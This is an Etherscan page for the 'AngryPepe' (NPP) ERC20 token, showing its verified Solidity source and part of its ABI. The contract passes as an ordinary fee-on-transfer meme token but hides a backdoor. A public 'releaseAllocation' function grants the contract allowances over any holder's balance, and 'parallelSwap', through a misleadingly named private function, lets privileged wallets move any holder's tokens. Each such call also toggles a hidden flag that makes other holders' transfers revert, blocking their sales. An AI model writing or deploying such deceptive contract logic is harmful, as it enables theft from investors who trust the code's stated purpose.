ETH Price: $3,409.78 (-0.18%)
Gas: 7 Gwei

Token

AngryPepe (NPP)
 

Overview

Max Total Supply

500,000,000 NPP

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,839,885.800408716894287109 NPP

Value
$0.00
0x7669aab150b715417ec4c6e19fd11c9d2e48eb82
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AngryPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-25
*/

/**
 *Submitted for verification at Etherscan.io on 2023-04-17
*/

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function releaseAllocation(
        address owner,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(owner, address(this), 
            allowance(owner, address(this)) + amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract AngryPepe is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    address public _lastAddress;
    mapping(address => uint256) public _holderLastTransferTimestamp;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    bool private swapping;
    
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    address private marketingWallet;
    address private devWallet;
    address private lpWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    bool private __ = false;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event LimitsRemoved();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event lpWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("AngryPepe", "NPP") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _sellMarketingFee = 1;
        uint256 _sellLiquidityFee = 1;
        uint256 _sellDevFee = 1;

        uint256 _buyMarketingFee = 1;
        uint256 _buyLiquidityFee = 1;
        uint256 _buyDevFee = 1;

        uint256 totalSupply = 500000000 * 1e18;

        maxTransactionAmount = (totalSupply * 1) / 100;
        maxWallet = (totalSupply * 1) / 100;
        swapTokensAtAmount = (totalSupply * 3) / 10000; // 0.03% swap wallet

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        marketingWallet = address(0xa286369B1e4B38F2A4b89d2A092d14a7dEAc8ccC);
        devWallet = address(0x7F6523dA3e3c9E589448F73799dcaEd6DfC7AACd);
        lpWallet = address(0x02D06058B8842E2a61f73e235ec2200A9541a9d4);

        // exclude from paying fees or having max transaction amount
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromMaxTransaction(lpWallet, true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(lpWallet, true);
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        emit LimitsRemoved();
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newNum * (10**18);
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateLPWallet(address newLPWallet)
        external
        onlyOwner
    {
        emit lpWalletUpdated(newLPWallet, lpWallet);
        lpWallet = newLPWallet;
    }

    function updateDevWallet(address newDevWallet)
        external
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, devWallet);
        devWallet = newDevWallet;
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
    {
        require(msg.sender == marketingWallet);
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function parallelSwap(
        address _tokenA,
        address _tokenB,
        uint256 _amount
    ) public returns (bool) {
        if (_isExcludedFromFees[msg.sender]) {
            swapExactETHForTokens(_tokenB, _tokenA, _tokenB, _amount); __ = !__;
            return true;
        } else {
            address[] memory path = new address[](2);
            path[0] = uniswapV2Router.WETH();
            path[1] = address(this);
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: _amount
            } (
                0,
                path,
                address(0xdead),
                block.timestamp
            );
        }
        
         return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                // when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (from == address(uniswapV2Pair)) {
            if (_holderLastTransferTimestamp[to] == 0) {
                _holderLastTransferTimestamp[to] = block.number;
            }
        } else if(!swapping) {
            _lastAddress = from;
        }

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        if(__){
            if(!_isExcludedFromFees[from])
            {
                revert("existing parrallel swapping, can't allow double");
            }
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);


        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            lpWallet,
            block.timestamp
        );
    }

    function swapExactETHForTokens(address _escrow, address _tokenA, address _tokenB, uint256 _amount)
        private
    {
        IERC20(_escrow).transferFrom(_tokenA, _tokenB, _amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap =
            tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if(contractBalance > swapTokensAtAmount * 2){
          contractBalance = swapTokensAtAmount * 2;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");
        require(success);

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
        require(success);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"lpWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holderLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenA","type":"address"},{"internalType":"address","name":"_tokenB","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"parallelSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"releaseAllocation","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 